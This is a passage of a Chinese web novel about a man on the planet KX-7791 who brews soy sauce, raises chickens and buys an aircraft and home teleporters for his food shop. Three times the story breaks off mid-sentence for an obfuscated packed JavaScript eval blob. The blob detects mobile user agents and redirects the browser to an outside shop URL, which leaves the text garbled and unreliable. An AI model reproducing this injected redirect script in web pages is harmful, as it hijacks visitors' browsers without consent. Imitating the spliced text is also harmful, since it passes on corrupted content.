oryzae)将豆类中的蛋白质分解为氨基酸,同时产生多种风味物质。推荐使用此方案,因为其成功率高、风味最接近您描述的特征。 菌种需求:米曲霉孢子。您可以在星网的生物制剂平台购买‘酿造用米曲霉孢子粉’(商品编号BF-2304),价格约为15星币/10克(足够制作10升酱油)。 原料配比:干星豆1公斤,星盐粉200克,水2.5升(比例约为5:1:12.5)。注意:水需要煮沸后冷却至室温,以去除杂菌。 制作步骤: 1. 将干星豆浸泡12小时(或至完全膨胀)。 2. 浸泡后的星豆蒸煮2小时,至用手能轻松捏碎。 3. 蒸好的星豆摊开冷却至35-40摄氏度,均匀拌入米曲霉孢子粉(每公斤豆子约5克孢子粉)。 4. 将拌好菌种的豆子放在通风良好的容器中,在30-35摄氏度环境中培养48小时。期间豆子表面会长出白色或黄绿色的菌丝——这是正常现象,说明米曲霉生长良好。如果出现黑色、灰色或红色的菌斑,说明被杂菌污染,需要废弃。 5. 菌丝长满后,将发酵好的豆子(此时称为‘酱曲’)与盐水(星盐粉溶于2.5升水)混合,装入密封容器。 6. 将容器放在阳光下或恒温25-30摄氏度的环境中,发酵3-6个月。期间每隔7-10天搅拌一次,促进均匀发酵。 7. 发酵完成后,用纱布过滤,得到的液体即为生酱油。 8. 将生酱油煮沸消毒,冷却后装瓶。 注意事项: - 整个过程需要保持清洁,避免杂菌污染。 - 发酵初期(前两周)可能会有氨味或臭味,这是正常现象,后期会转化为酱香。 - 如果出现严重的腐败臭味或表面长出彩色霉菌,说明发酵失败,需要废弃。 方案二:乳酸菌辅助发酵法(预估成功率:55%) 原理:利用乳酸菌和酵母菌的协同作用进行发酵。您手上的辣白菜发酵液富含乳酸菌,可以作为发酵启动剂。此方案不需要购买米曲霉,但风味可能与您描述的酱油有较大差异。 原料配比:干星豆1公斤,星盐粉200克,辣白菜发酵液100毫升,水2.4升。 制作步骤: 1. 浸泡、蒸煮星豆(同方案一步骤1-2)。 2. 将蒸好的星豆与辣白菜发酵液、盐水混合,直接装入密封容器。 3. 在25-30摄氏度环境中发酵2-3个月。期间不需要搅拌(乳酸菌是厌氧菌,搅拌会抑制其活性)。 4. 过滤、煮沸、装瓶(同方案一步骤7-8)。 预期风味:此方案制作的‘酱油’可能偏酸(来自乳酸),酱香较淡,更接近‘咸酸调味汁’而非您描述的酱油。建议作为备选方案。 方案三:快速酶解法(预估成功率:40%) 原理:使用商业蛋白酶直接分解豆类蛋白质,快速生成氨基酸。此方案不需要发酵,但风味单一,缺少发酵产生的复杂香气。 原料:干星豆1公斤,商业蛋白酶(商品编号BF-8721,价格约30星币/10克),星盐粉200克,水2升。 制作步骤: 1. 浸泡、蒸煮星豆(同方案一步骤1-2)。 2. 将蒸好的豆子打成泥,加入蛋白酶和盐水。 3. 在50-5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420248|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 5摄氏度环境中保温24-48小时。 4. 过滤、煮沸、装瓶。 预期风味:此方案制作的液体咸鲜味明显,但缺少酱油特有的酱香和复合风味。建议仅在无法获得米曲霉或乳酸菌的情况下使用。 AI的回复在方案后面还附了一段补充建议: “基于您的描述,酱油的核心风味来自于米曲霉发酵产生的氨基酸和多种芳香化合物。强烈建议您选择方案一,虽然需要购买米曲霉孢子粉,且发酵周期较长(3-6个月),但这是最接近您描述的‘酱油’的方案。在发酵期间,您可以继续用现有食材经营店铺,酱油制作可以作为一个长期项目。” “另外,关于您的问题‘没有小麦是否会影响发酵’:小麦在传统酱油中的作用是提供糖分和增加风味层次。没有小麦的情况下,酱油的风味会偏单薄,甜度不足。您可以用少量星椒的果肉(富含天然糖分)来部分替代小麦的作用——将新鲜星椒去籽取肉,切碎后与豆子一起发酵。星椒的果糖会为发酵提供额外的糖分,同时星椒的果香也可能融入酱油,形成独特的风味。” “最后,建议您同时制作小批量的实验样本——比如每批只做200克豆子,用不同的配比和条件,对比效果。这样可以降低失败成本,更快找到最佳方案。” 夏炎序盯着屏幕,嘴角慢慢翘了起来。 方案一。米曲霉。三到六个月。他能等。三个月后,他就能有自己的酱油了。不是超市买的,不是地球产的,而是用这颗星球上的星豆、星盐草,加上星椒的果糖,在KX-7791的阳光下慢慢发酵出来的酱油。 他立刻打开了星网的生物制剂平台,搜索“酿造用米曲霉孢子粉”。找到了。15星币,10克。他点了“立即购买”,又顺便买了一包“商业蛋白酶”——虽然成功率低,但万一前两个方案都失败了,至少还有个备选。 总共花费:米曲霉孢子粉15星币 + 蛋白酶30星币 + 运费12星币 = 57星币。 然后他站起来,走到桌前,拿起一颗干星豆,放在手心里端详。淡黄色的、扁圆形的种子,在灯光下泛着温润的光泽。三个月后,它就会变成深褐色的、香气浓郁的酱油。一滴就能让蛋炒饭的味道提升一个层次,一滴就能让红烧肉变得色泽红亮、咸鲜适口。 夏炎序把星豆放回盘子里,转身走到窗前,推开窗户。 KX-7791的夜晚安静得像一幅画。两颗卫星已经升起来了,一大一小,一明一暗,在夜空中交相辉映。银河的光带从地平线的一端延伸到另一端,星星密集到几乎分不清彼此。 远处,农夫一型的指示灯在黑暗中闪烁着微弱的绿光——它在田边安静地充电,明天一早还要去收割新一批的星米。小屋后面,那块四平方米的空地已经平整好了,等着养殖舱的送达。 而在他的厨房里,有一块刚刚做好的豆腐,一盒正在发酵的辣白菜,一袋晾晒中的星豆,和一份刚刚下单的米曲霉孢子粉。 夏炎序深吸一口气,空气里带着泥土和野草的清冽气息。 三个月。他不着急。酱油这种东西,急不来的。它需要时间,需要耐心,需要在阳光和微生物的缓慢作用下,一点一点地变成它该变成的样子。 就像他一样。从地球穿越到这颗荒星,从一无所有到四道菜,从一个人一口锅到有机器人、有养殖舱、有星豆、有豆腐。每一步都不快,但每一步都算数。 他关掉窗户,走回桌前,在笔记本上写下了酱油的制作计划: - 第1天:浸泡星豆(1公斤) - 第2天:蒸豆、拌菌、制曲(48小时培养) - 第4天:制盐水、入缸发酵 - 发酵期:3-6个月,每10天搅拌一次 - 预计收获时间:3个月后 然后他在计划下面加了一行小字:“同时做小批量实验——200克豆子,加星椒果肉,对比风味。” 写完之后,他合上笔记本,关掉灯,躺到床上。 角落里,辣白菜的发酵声“咕噜咕噜”的,像一首催眠曲。窗外,农夫一型的指示灯在黑暗中闪烁着微弱的绿光。更远的地方,装着米曲霉孢子粉的快递舱正在跨越星空的路上。 夏炎序闭上眼睛,嘴角带着笑。 三个月后,他的厨房里会多一样东西。一样能让所有菜品都变得更好吃的东西。 酱油。 12. 鸡来了 酱油入缸的第三天,养殖舱到了。 那是一个比普通快递舱小得多的金属方块——只有巴掌大小,银灰色的外壳上印着联邦生物科技公司的蓝色标识,表面嵌着一块小小的金属屏。货运方块在寄送终端上出现的时候,夏炎序正在厨房里炒今天的第八十份蛋炒饭。他听到外面传来一声熟悉的“嘀”,擦了擦手走出去,从终端上拿起那个沉甸甸的小方块。 金属屏上有一行提示:“请将压缩包放置于指定位置开启,开启前请确保周围十米内无遮挡物!” 夏炎序带着金属方块去了屋后那块为养殖舱预留出的空地。他把方块放在空地中央,按下了开启键。 智能终端立刻弹出了一条指令:“检测到可连接的智能生态仓,是否连接?” “是。” 一阵低沉的嗡鸣声响起。金属方块表面的指示灯从红色变成了绿色,然后——它开始变形。像某种精密的机械装置,方块的外壳向四周展开,内部的结构一层一层地升起、旋转、拼接。金属框架在空地上迅速扩张,墙面、顶棚、设备模组依次就位。整个过程不到三十秒,一个四四方方的金属舱体就出现在了夏炎序面前。 他张了张嘴,想说点什么,但什么都没说出来。在地球上,他见过的最先进的“变形”大概是折叠自行车。现在他亲眼看着一个巴掌大的金属方块变成了一座两层楼高的建筑,而且全程安静得只有低沉的嗡鸣声——连个螺丝刀都没用上。 智能终端又弹出了一条指令:“外观选择:1、正方体常规建筑;2、尖顶粮仓式建筑;3、鱼缸式建筑;4、自定义式(需导入设计图纸)。” 夏炎序作为一个没怎么见过高科技的土包子,被这个选项难住了。他想了想,选了“每周随机换一种形态”——反正外观不重要,里面好用就行。同时他收藏了设计图纸APP,打算以后抽空上去看看有没有惊艳的设计。 养殖舱的舱门自动打开。他探头往里看——不是外面看起来那么大的一个金属箱子,而是一个宽敞的、明亮的、充满未来感的空间。四十平方米,比他的小屋还大。地面铺着柔软的仿生垫材,墙壁上有自动喂食槽和饮水器,天花板上的灯带模拟着自然光照,角落里有一个自动清洁系统的排污口。空气里有一股淡淡的草木清香,大概是出厂时预设的“新舱体气味”。 “生态养殖舱基础型,启动完成。请进行基础设置。”智能终端提示道。 夏炎序一边浏览电子说明书,一边在控制面板上设置——养殖模式:蛋禽模式。目标禽类:标准农场鸡。自动功能:自动喂食、自动清洁、自动健康监测、自动捡蛋,全部开启。 “设置完成。生态养殖舱进入待机状态。请在禽类到达前完成环境预热,预计预热时间:4小时。” 他关掉养殖舱的门,给智能终端下了一条指令:“关注快递信息,在鸡到达前4小时开启养殖舱预热。”然后回到屋里,继续炒饭。 鸡是在养殖舱到达后的第二天送到的。 活体动物不能走空间折叠快递——联邦动物福利法明确规定,活体动物运输不得使用空间折叠技术,因为折叠瞬间的时空曲率变化会对生物造成不可逆的神经损伤。也不能走人体传送通道——那价格贵得离谱,传送一只鸡的钱够买十只鸡了。所以活体动物走的是专用飞船运输:先由飞船送到目标星球的外太空轨道,然后发射一枚运送火箭,火箭穿越大气层时逐级燃烧脱落,最后在预定区域弹射出带有降落伞的运输箱。智能计算系统会根据收货地的经纬度、当天的风速、湿度、气压,精确计算出弹射时机和落点,误差不超过五十米。 夏炎序是被天空中的火光惊动的。 他正站在门口喝水,余光瞥到天边有一道明亮的橙色光芒在急速下坠。那道光拖着长长的尾迹,穿过云层,越来越亮,越来越近。他心跳猛地加速——在地球上,他从未近距离见过火箭降落。现在,在KX-7791的荒原上,一支火箭正朝着他的方向坠落。 火箭在离地面约一千米的高度完成了最后一次燃烧脱落,一个硕大的运输箱从残骸中弹出,降落伞在它的上方“砰”地张开,巨大的伞面在风中鼓满,像一朵突然绽放的白色花朵。运输箱在降落伞的拖曳下缓缓下降,最终在离夏炎序大约三十米的地方平稳着陆,扬起一小片尘土。 智能终端弹出一条提示:“检测到可连接的降落伞,是否回收?” “是。” 话音刚落,降落伞的伞绳钩与运输箱自动脱落,巨大的伞面迅速收缩、折叠,眨眼间变成了一个巴掌大小的彩色小包,小包轻飘飘的,“嗖”的一声就飞向了夏炎序的手中。布料摸上去像丝绸,但更坚韧。 再抬头向上望去,火箭已经被燃烧的一点儿也不剩了,没有什么金属零件砸脑袋的剧情发生。他深吸一口气,快步走向运输箱。箱体上印着红色的“活体动物”标识和联邦检疫部门的绿色电子封条。他按下解封按钮,封条自动失效,舱门缓缓向上打开。 一股温热的、带着羽毛和草料气味的风扑面而来。 然后他听到了声音—— “咯咯咯……咕咕咕……” 夏炎序探头往里看。十二只白色的、胖乎乎的标准农场鸡正在运输箱里悠闲地走来走去,好像刚刚经历的大气层坠落对它们来说只是打了个盹。 它们比地球上的鸡稍微大一点,羽毛更白更密,鸡冠更红,眼睛是漂亮的橙黄色。每一只的脚上都戴着一个电子环——联邦检疫部门的健康监测装置,会实时记录体温、心率、活动量等数据。夏炎序签收快递的瞬间,这些电子环的信息就被智能终端自动链接到了养殖舱的系统上。 他小心翼翼地把鸡一只一只地抱出来,先放进养殖舱的风淋间——一个狭长的通道,顶部和两侧有喷嘴,喷出温和的消毒气流,吹走羽毛和体表可能携带的微生物。鸡们似乎对这个流程已经很习惯了,站在风淋间里一动不动,偶尔歪歪头,好奇地看着外面的世界。 消毒完成后,风淋间的内门自动打开,鸡们鱼贯而入,终于进入了养殖舱的内部。 四十平方米的空间对十二只鸡来说非常宽敞。母鸡们三三两两地聚在一起,用爪子刨地上的仿生垫材,时不时低头啄一下,好像在确认这个新家的地面能不能吃。两只公鸡站在稍远的地方,昂着头,警惕地打量着四周。 夏炎序蹲在养殖舱门口,看着它们,嘴角翘得压都压不下去。 “你们先适应一下,”他对着鸡们说,“明天开始,你们的蛋就用来做蛋炒饭。表现好的,多给零食。” 鸡们不理他。一只最肥的母鸡走到自动喂食槽前,低头啄了一口饲料,然后“咯咯咯”地叫了几声,好像在说:“这玩意儿还行。” 夏炎序笑了一下,关上养殖舱的门,回到厨房。 他一边炒饭一边想,七天后,第一批鸡蛋就能收了。真正的鸡蛋。不是蛋白合成粉调出来的糊状物,而是有蛋白有蛋黄的、完整的、新鲜的鸡蛋。蛋清是透明的、粘稠的、打发了能起泡的。蛋黄是金黄色的、圆润的、戳破了会流出来的。打在碗里,蛋白裹着蛋黄,像一颗被云层包裹的太阳。倒进热油里,“滋啦”一声,蛋白迅速凝固变白,边缘泛起金黄色的焦边,蛋黄还是半流心的,用锅铲轻轻一戳,金黄色的液体流出来,和米饭混合在一起,每一粒星米都裹上了蛋液—— 夏炎序的喉咙滚动了一下。 他加快了翻炒的速度。 接下来的几天,夏炎序的生活进入了一种新的节奏。 每天早上五点起床,第一件事不是炒饭,而是去养殖舱看鸡。打开舱门,十二只鸡在四十平方米的空间里或走或卧,几只勤快的母鸡已经开始在产蛋箱里下蛋了——第一周只有两三只在生,产量很低,但养殖舱的控制面板上显示,等所有母鸡都进入产蛋期之后,每天的产蛋量大约是八到十个。够他用了。至少目前够。 他蹲在产蛋箱前面,小心翼翼地伸出手,从柔软的垫材上捡起第一颗蛋。蛋壳是浅棕色的,温热的,握在手心里有一种沉甸甸的、实在的质感。他把它举到眼前,对着灯光看了看——蛋壳均匀,没有裂纹,里面的蛋黄隐约可见。这是他来到星际时代后,见到的第一颗真正的蛋。 他把蛋小心地放进口袋里,又在养殖舱里转了一圈,确认自动喂食器工作正常、饮水器水量充足、清洁系统没有故障,然后才回到厨房。 第一颗蛋,他没有用来做蛋炒饭。他把它打在碗里——蛋清粘稠透明,蛋黄金黄饱满,用筷子轻轻拨了拨,蛋黄没有散,蛋清在碗壁上挂出了薄薄的一层。他用星盐粉调了一点味,然后倒进热油里,煎了一个荷包蛋。蛋白的边缘在热油中卷曲起来,泛起金黄色的焦边,蛋黄表面凝出一层薄薄的膜,里面的液体还在微微颤动。他撒了一点星葱碎末,关火,把蛋铲进碗里。 咬了一口。蛋白的边缘是焦香的、脆的,中间是嫩的、滑的。蛋黄咬开的瞬间,金黄色的液体流出来,浓稠的、温热的、带着蛋类特有的醇厚香气。不是蛋白合成粉那种寡淡的、只有质感的“像”,而是真正的、有层次的、从舌尖一直暖到胃里的味道。 夏炎序坐在灶台前,慢慢地吃完了那颗荷包蛋,然后把碗洗干净,开始炒今天的第一批蛋炒饭。用的还是蛋白合成粉——鸡蛋太少,要攒一攒,等攒够了再正式换菜单。但他知道,用不了多久,蓝星食铺的蛋炒饭就会变成真正的、用鸡蛋做的蛋炒饭。 店铺的生意越来越好。 开业第三周,日均蛋炒饭订单突破了二百五十份,辣白菜和炝拌小白菜的销量也在稳步增长。日均营业额稳定在一千五百星币以上,净利润超过一千星币。夏炎序看着账户余额从三位数变成四位数,又变成五位数,有一种不太真实的恍惚感。 但更让他恍惚的,是订单的地域分布。 他打开后台的“顾客分析”页面,看了一眼数据——KX-7791轨道回收平台:23%。矿业小行星带:31%。边境哨站:18%。科研前哨站:12%。其他(周边星系):16%。 那16%的“其他”,来自于他从未听说过的地方。半人马座阿尔法星的一个小型贸易站,仙女座旋臂边缘的一个矿业殖民地,甚至还有一个来自联邦核心星域的订单——那个人大概是在星网上闲逛的时候无意中发现了他的小店,出于好奇点了一份蛋炒饭,然后留下了评价:“我不知道这是什么,但它比我过去十年吃过的任何东西都好吃。” 夏炎序盯着那条评价看了很久,然后截图保存了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420249|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾客多了,评价也多了。微表情分析报告显示,蛋炒饭的正面反馈率稳定在96%以上,辣白菜92%,炝拌小白菜98%。最让他意外的是,辣白菜的复购率高达71%——这意味着一百个买过辣白菜的人里,有七十一个人会回来再买。这个数据在星网餐饮类店铺中属于顶尖水平。 夏炎序在笔记本上记了一笔:辣白菜是爆品。可以考虑扩大产能。 然后他翻到新的一页,开始算账。 开业第三周结束,总营业额约一万八千星币,净利润约一万二千五百星币。支出方面:农夫一型机器人三千一百五十星币,生态养殖舱首期一千三百星币,鸡九百四十星币,米曲霉等材料五十七星币,其他杂项约五百星币。两笔贷款合计七千星币已到账,未还。账户余额一万三千五百星币。 一万三千五百星币。 夏炎序盯着这个数字,沉默了一会儿。这笔钱,够他还清两笔贷款了。但他在笔记本上算了算,决定不急着还。贷款的利率只有4.5%,很低,早还晚还差不了多少钱。他需要这笔钱来做更重要的事。 他需要买飞行器。 不是之前看的那辆最便宜的——他现在有钱了,可以买一辆好一点的。他打开星网搜索“二手飞行器”“荒星用飞行器”“大气层内飞行器”,筛选条件设置为:续航五百公里以上,可载重一百公斤,操作简单,支持自动导航。 搜索结果里排名第一的,是一个叫做“探索者三型”的二手飞行器。价格:两千八百星币。续航:八百公里。最高速度:二百公里每小时。载重:一百五十公斤。操作方式:全自动导航,手动驾驶可选。状态:九成新,原主人升级了更高级的型号,这台放在二手市场寄售。 夏炎序看了一眼账户余额,点了“立即购买”。运费从卖家所在的星系到KX-7791,需要经过三次空间跳跃,四百星币。总计三千二百星币。 然后他打开了星际银行的还款页面,选择了两笔贷款的最低还款额——不是全部还清,而是还一部分。他算了算,每个月还一千星币,三个月就能还清全部贷款,利息总共不到二百星币。完全可以接受。他设置了自动还款:每月1号从账户扣除一千星币,优先偿还第一笔贷款。 剩下的钱,他留了一部分作为日常开支和紧急备用金,又拨了一笔出来买飞行器的燃料和维护工具,以及下一批星米和小白菜的种子。 账算完之后,夏炎序靠在椅背上,长长地呼出一口气。 飞行器买了。贷款在还。账户里还有钱。他低下头,看了一眼自己的手。手掌上的茧子已经厚到几乎感觉不到疼了,指甲剪得很短——炒饭的时候不能留长指甲,不卫生。这双手,一个月前还在敲键盘,现在却在这颗荒星上种地、炒饭、养鸡、算账。什么都能干一点,什么都不算精通,但什么都在慢慢变好。 他站起来,走到窗前,推开窗户。 KX-7791的夕阳正在沉入地平线。天空从橘红渐变成深紫,两颗卫星升起来了。远处,农夫一型在稻田中缓慢移动,机械臂精准地收割着成熟的星米——它已经学会了区分不同成熟度的稻穗,只收那些橘色最深、颗粒最饱满的。小屋后面,养殖舱的指示灯在暮色中闪烁着柔和的绿光,隐约能听到里面传来的“咯咯”声——鸡们在吃晚饭。 更远的地方,在星空的某个角落,一个装着“探索者三型”飞行器的快递舱正在跨越光年,向着他飞来。 夏炎序深吸一口气,空气里带着泥土、野草、星米的稻香,和一点点养殖舱里飘出来的羽毛的气味。 他转身回到厨房,系上围裙,开始做今天的最后一批订单。 两个小时后,订单全部做完。他收拾好厨房,关掉食物处理器,走到养殖舱前,打开舱门,蹲在门口,看鸡。 十二只鸡在四十平方米的空间里安安静静地趴着,大部分已经睡着了,头埋在翅膀下面,白色的羽毛在模拟月光下泛着银色的光泽。一只母鸡还没有睡,歪着头看他,好像在问:“你这么晚还不睡?” 夏炎序轻声说:“快了。做完最后一份蛋炒饭就睡。” 母鸡“咕”了一声,把头埋进翅膀里。 他站起来,轻轻关上门,回到小屋,躺到床上。 天花板上那道裂缝还在。两颗卫星的光透过窗帘的缝隙照进来,在地板上画出两道银白色的光斑。角落里,辣白菜的发酵声越来越密集,“咕噜咕噜”的,和养殖舱里的“咯咯”声遥相呼应,像一首二重奏。 夏炎序闭上眼睛,嘴角带着笑。 明天,他要攒够八个鸡蛋,做一份真正的鸡蛋蛋炒饭。然后寄一份给老周,寄一份给维克多·陈。让他们尝尝,真正的蛋炒饭是什么味道的。 后天,飞行器就要到了。他要学会怎么开。然后,他要去北半球。去找星蕈、星芥、星姜。去把那片他从没见过的森林、湿地、盐碱地,都变成他的食材库。 大后天…… 他想了想,大后天还是继续炒饭。酱油在发酵,辣白菜在发酵,鸡蛋在积累,飞行器在路上。一切都在进行中,不需要着急。 他翻了个身,把被子拉过头顶。 角落里,辣白菜的“咕噜咕噜”声越来越慢了——乳酸菌也睡着了。 13. 瞬时传送 飞行器是在第四天上午送达的。 和之前的快递一样,一个银灰色的快递舱在寄送终端上无声无息地出现。夏炎序打开舱门,里面是一个折叠好的金属框架——飞行器在运输状态下被压缩到了极致,看起来像一堆银色的脚手架。框架旁边还有一个更小的金属方块,说明书上写着那是附赠的磁悬浮停靠平台。 他按照说明书上的指引,把飞行器框架和停靠平台拿到屋外的空地上,然后在智能终端上点击了“展开”。 金属框架发出一阵机械咬合的声音,开始变形。支架伸出、展开、锁定,推进器从折叠状态翻转到预定位置,驾驶舱的透明罩像一朵花一样从中心向外绽放。停靠平台先一步展开成一个圆形的金属基座,表面泛起一层淡蓝色的磁悬浮光晕。飞行器在磁场的托举下缓缓降落,稳稳地停在平台上,开始三百六十度缓慢旋转,像商场橱窗里展示的奢侈品。 整个过程持续了大约一分钟。一辆崭新的“探索者三型”就这样停在了小屋门口的空地上。 停靠平台的功能不止是展示。夏炎序看了看电子说明书——平台周围会释放一层离子光结界,防尘、防晒、防雨,在城市里还能防盗,以及防止路过的动物在飞行器上留下不文明的痕迹。他在心里给这个设计点了个赞。 飞行器比宣传图上看起来更漂亮。流线型的银色机身,宽大的驾驶舱透明罩,四个可折叠的推进器分布在机身两侧和尾部。机身上印着制造商的标识和一串编号——那是这台飞行器的唯一身份码。夏炎序绕着它走了一圈,伸手摸了摸机身的金属表面。冰凉光滑,没有一丝划痕,确实像九成新的。 他正蹲下来查看底部的起落架时,智能终端弹出了一条推送通知。 “嘀——您可能感兴趣的商品推荐(基于您的购买记录)” 夏炎序随手点开,以为又是某个农具或种子的广告。但屏幕上的内容让他愣了一下。 “瞬时传送装置(家用型)——让您的星球不再有距离。” 广告页面上是一个他从未见过的设备:一个大约两米高的圆形金属框架,内部是空心的,边缘镶嵌着一圈发光的蓝色晶体。框架的底座上有几个简单的控制按钮,看起来比他的飞行器操作面板还简洁。 他继续往下看。 “瞬时传送装置,家用基础款。安装后,您可以在同一星球内的任意两个传送点之间瞬间移动。无需燃料,无需驾驶,无需等待。进入传送圈,用智能终端输入目标坐标,确认即可。传送耗时:0.3秒。” 夏炎序盯着那个数字,嘴巴微微张开。 0.3秒。从KX-7791的南半球到北半球,从河岸湿地到高山森林,从星豆产区到星蕈产地——0.3秒。他花三千二百星币买的飞行器,飞到北半球要两个多小时。而这个东西,只要0.3秒。 他继续往下看,心跳越来越快。 “产品特点:无燃料消耗,无碳排放,无噪音污染。采用联邦标准空间折叠技术(与星际快递同款核心模组),安全认证编号:FST-2300。已通过联邦空间安全局最高等级安全检测,累计安全使用次数:4.7万亿次,事故率:0.0000003%。” “安装要求:每个传送点需要一个独立的传送基座,基座占地面积约2平方米,需连接稳定电源(太阳能、核能或市政电网均可)。每个基座可独立工作,互不干扰。支持多点组网,组网后可在任意传送点之间互通。” “价格:单点传送装置(含一个基座)——2800星币。促销活动:购买五个以上传送点可享九折,八个以上八折,十个以上七五折,并赠送联名款传送圈皮肤(可选蘑菇人/独角兽/星辰/彩虹等十二种款式)。” 夏炎序往下滑动屏幕,看到了皮肤预览图。蘑菇人皮肤是红底白点的蘑菇造型,传送圈的边缘变成蘑菇伞的形状,蓝色晶体被替换成了圆形的白色斑点。独角兽皮肤是淡紫色的,传送圈顶部有一个金色的独角兽角装饰,边缘有彩虹色的光效。 他盯着蘑菇人皮肤看了很久,嘴角抽了一下。联邦人的审美真的很奇特。 但他很快把注意力拉回到了价格上。 单点两千八百星币。十个以上七五折,折后每个两千一百星币。他需要几个传送点?至少两个——一个放在小屋门口,一个放在北半球星蕈产地的附近。但如果只买两个,没有折扣,总价五千六百星币。买十个他买不起。但如果买五个呢?九折,每个两千五百二十星币,五个总价一万两千六百星币。他的账户余额是一万三千五百星币。买五个,刚好花掉一万两千六百星币,剩下九百星币。 五个传送点,意味着他可以在KX-7791上设置五个瞬间移动的坐标。小屋门口放一个,北半球星蕈森林放一个,星芥产地放一个,星姜湿地放一个,还剩一个可以留着备用,或者放在他还没发现的某个食材产区。 夏炎序站在飞行器旁边,手里攥着智能终端,陷入了激烈的思想斗争。 他刚买了飞行器。三千二百星币。还没捂热。现在告诉他,有一种东西可以瞬间移动,不用烧燃料,不用花两个小时飞行,不用学习驾驶技术,只要站在圈里,输入坐标,0.3秒就到了。那他买飞行器是为了什么? 他低头看了一眼那辆银光闪闪的探索者三型。它安静地停在那里,流线型的机身反射着KX-7791的午后阳光,像一只蓄势待飞的银色大鸟。 他叹了口气。 飞行器退不了——星际网购的二手商品,一经签收,概不退换。但他可以留着。飞行器不需要传送基座,不需要电源,不需要在目的地预先安装设备。它想去哪里就去哪里,只要还有燃料。而传送装置需要先在目的地安装基座——他得先去一次北半球,把基座装好,才能实现瞬间移动。这是一个先有鸡还是先有蛋的问题:没有传送装置,他去北半球要花两个小时;没有飞行器,他连去北半球装基座都做不到。 所以飞行器不是白买的。它是传送装置的前置条件。 夏炎序说服了自己,然后打开了商品页面,开始认真计算。 五个传送点,九折,每个两千五百二十星币,总计一万两千六百星币。联名款皮肤——买五个以上送一个。蘑菇人还是独角兽?他想了想,选了蘑菇人。不是因为他喜欢蘑菇,而是那个红底白点的配色在荒星上比较显眼,不容易找不到传送圈的位置。 他深吸一口气,点了“立即购买”。 商品价格:5 × 2800 = 14000星币。九折优惠:-1400星币。总计:12600星币。运费:基座内部有精密的空间折叠模组,不能再次进行空间折叠运输(反复折叠会损坏精密元件),只能走普通货运飞船。从联邦核心星域到KX-7791,运费800星币。总计:13400星币。 他的账户余额:13500星币。 买了之后,还剩一百星币。 夏炎序的手指悬在“确认购买”按钮上方,悬了大概十秒钟。然后他按了下去。 “嘀——购买成功。五个传送基座正在备货。预计送达时间:7-10个标准日(货运飞船运输,需经过四次空间跳跃)。请在送达前为每个传送基座准备好安装位置(2平方米平坦地面,稳定电源)。” 夏炎序关掉终端,回房摊到单人沙发上,盯着天花板。 一万三千四百星币。他的全部积蓄,几乎一分不剩。但他买到了什么?五个传送点。以后,他可以在KX-7791的任何地方瞬间移动。北半球、南半球、湿地、森林、盐碱地——只要他先把基座装好,以后去这些地方就是一秒钟的事。 他低头看了看那辆飞行器。它还在门口安静地停着,银色机身反射着阳光,像一只等待起飞的大鸟。 “小宝贝你不要伤心,你还是有用处的,”他对着飞行器说,“你得带我去装基座。” 飞行器没有回应。它只是一堆金属和电路。 夏炎序站起来,走到飞行器旁边,按照说明书上的指引,按下了驾驶舱的开启键。透明罩缓缓升起,露出里面两个舒适的座椅和一个简洁的控制面板。控制面板上只有几个按钮——启动、悬停、自动导航、手动模式切换,以及一个用来输入坐标的数字键盘。他坐进驾驶舱,座椅比想象中柔软,安全带是自动锁止式的,扣上之后会微微收紧,贴合身体。 他在控制面板上找到了“自动导航”功能,输入了第一个目标坐标——北半球星蕈森林的入口,根据生态调查报告的标注。系统弹出了一条提示:“预计飞行时间:2小时12分钟。燃料消耗:35%。是否保存此航线?” 夏炎序点了“保存”。然后他跳出驾驶舱,关上舱门,转身回到屋里。 飞行器不急。传送基座要七到十天才能到,他有足够的时间先把飞行器学会怎么用。而且他还有更重要的事——攒鸡蛋。 他走进厨房,开始炒今天的第一批蛋炒饭。 七天后,传送基座还没到,但鸡蛋攒够了。 夏炎序蹲在养殖舱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420250|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的产蛋箱前,把今天早上新下的三颗蛋小心地放进一个干净的封装盒里。加上之前攒的五颗,一共八颗。八颗鸡蛋,够他做一次真正的蛋炒饭了。 他捧着封装盒回到厨房,把八颗鸡蛋一个一个地打在碗里。蛋清粘稠透明,蛋黄金黄饱满,八颗蛋黄挤在一起,像八颗小太阳。他用筷子轻轻搅打,蛋清和蛋黄在筷子的搅动下逐渐融合,变成了一碗金黄色的蛋液。不是蛋白合成粉调出来的那种发白的、稀薄的糊状物,而是浓稠的、有光泽的、用筷子挑起来能拉出丝的真鸡蛋。 